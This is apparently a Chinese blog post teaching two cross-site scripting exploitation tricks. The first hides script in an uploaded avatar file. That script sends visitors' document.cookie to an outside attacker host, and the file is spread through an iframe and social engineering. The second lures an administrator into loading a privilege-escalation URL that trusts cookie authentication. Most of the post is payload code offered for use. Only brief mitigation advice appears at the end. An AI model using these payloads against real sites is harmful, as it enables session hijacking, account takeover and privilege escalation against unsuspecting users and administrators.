跨站脚本执行漏洞利用技巧两则

谈到跨站脚本执行漏洞,想必大家已经比较熟悉了吧?这里向大家介绍两则利用跨站脚本执行漏洞攻击 的技巧,当然我也会为大家提供临时解决方法。废话少说,下面我就开始讲。

【技巧一】
大家都知道文件上载吧?很多网站都提供了这个功能。利用文件上载进行攻击的方法很多,就不赘述 了,这里主要介绍一下如何利用文件上载进行跨站脚本执行漏洞攻击。

我们还记得去年闹得沸沸扬扬的CrazyBird发现的IE的漏洞吧?原文可以从下面的地址得到:
http://archives.neohapsis.com/archives/bugtraq/2001-07/0675.html

明白我的意思了吗?我们可以在本地构造一个.txt文件或者.jpg文件,内容则可以是任意HTML代码,这 样上传后,只要我们知道上传后的地址,让别人访问这个地址,就可以起到跨站脚本执行漏洞攻击的效 果了,而且这样不必担心别人过滤含有“cookie”关键字的输入(虽然这是一种很没有意义的事)。

大家已经知道使用URL编码和重定向页面来隐藏攻击行为了,但是直接让人家访问一个带有很长查询串 的地址是不是很麻烦?能不能利用一个看起来很正常的地址来实施攻击呢?这其实也是向大家解释如何 进行上面的攻击。

我们都知道,正常情况下网站只能读取它自己设置的Cookie,这是靠域名来标识的。因此如果你想获取 某站点的Cookie就必须注意对域名的处理。

还是举个例子吧,假设某站点论坛地址为 http://www.xyz.com/bbs/,提供了上传头像的功能,于是我们 就可以自己构造一个下面的头像文件:

thiz.gif

<script>
window.location.href=” http://c4st.51.net/tmp/info.php?'%2Bdocument.cookie;
</script>

这样,我们获得 http://www.xyz.com/bbs/face/thiz.gif的地址,这样直接给别人似乎不好,随便找个别的什 么空间吧,比如说 http://www.abc.com/index.html,我们在index.html页面中嵌入下面的语句:

<iframe src=” http://www.xyz.com/bbs/face/thiz.gif”>        //可行性有待验证,这里主要是介绍方法

让别人访问 http://www.abc.com/index.html是不是更好些?至于别人是否去访问,就看你社交工程学水平 了,不会还没毕业吧?:P

注意:如果主站和论坛在不同服务器,即域名不同,而主站某脚本存在CSS漏洞,论坛存在上载文件的 问题,要想获得主站的Cookie也是可以实现的,不过头像文件就需要修改一下:

thiz.gif

<script>
var url;
url=" http://www.xyz.com/index.asp?id=%3cscript%3ewindow.location.href=' http://c4st.51.net/tmp/ info.php?'%2Bdocument.cookie%3c/script%3e";
window.location.href=url;
</script>

其它部分类似。

【技巧二】
很多人都认为跨站脚本执行漏洞攻击只能获得Cookie,虽然我已经不止一次的重复过了!:( 甚至有 些程序员竟然在CGI程序中增加了过滤Cookie关键字的代码,我真是无话可说!下面我就介绍一下跨站 脚本执行漏洞的另外一个利用技巧,同时也想让大家知道这种过滤方式多么幼稚可笑。

例如: http://www.xyz.com/bbs/index.asp?user=thiz存在跨站脚本执行漏洞,但是该脚本检查了$user是否 存在Cookie关键字,呵呵。。。我们看来不能获取Cookie了,当然这里我们也不考虑是否可以通过什么 方法绕过该限制。那我们是不是可以换个思路,达到相同甚至更好的效果呢?

我们还知道这里的用户是分级的,提升用户级别的脚本为:
http://www.xyz.com/bbs/upgrage_user.asp?user=thiz&grade=0&admin_name=&admin_pass=

显然我们要想改变自己的级别得知道管理员的帐号密码,我们知道管理员的帐号密码吗?不知道!但是 我们仍可以做到这一点。因为我们可能利用Cookie,虽然我们不能获得它,但它就真真切切地呆在管理 员的主机上。当管理员访问下面的链接时,一般情况下,用户thiz的级别就被改变了。
http://www.xyz.com/bbs/upgrage_user.asp?user=thiz&grade=0
因为CGI程序为了方便,往往在没有提供帐号密码的情况下,使用Cookie中的信息作为认证信息。现在 你是管理员了,想知道别人的密码还不容易?!

当然,你也可以通过重定向浏览器来增加个人主页访问量,关闭窗口或者改变访问者头像之类的恶作 剧,不过不要太过分!:)

【临时解决方法】
对CGI程序员我就不想说什么了,注意检查所有用户输入,确保都是合法数据即可。说起来简单,具体 做起来就困难得多,好好努力吧。

对于用户来说,除了以前说过的关闭JavaScript支持之外,在遇到比较可疑的地址时,可以换用其他浏览 器(如Opera)看看HTML源代码,确定没有问题之后再访问。
 
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值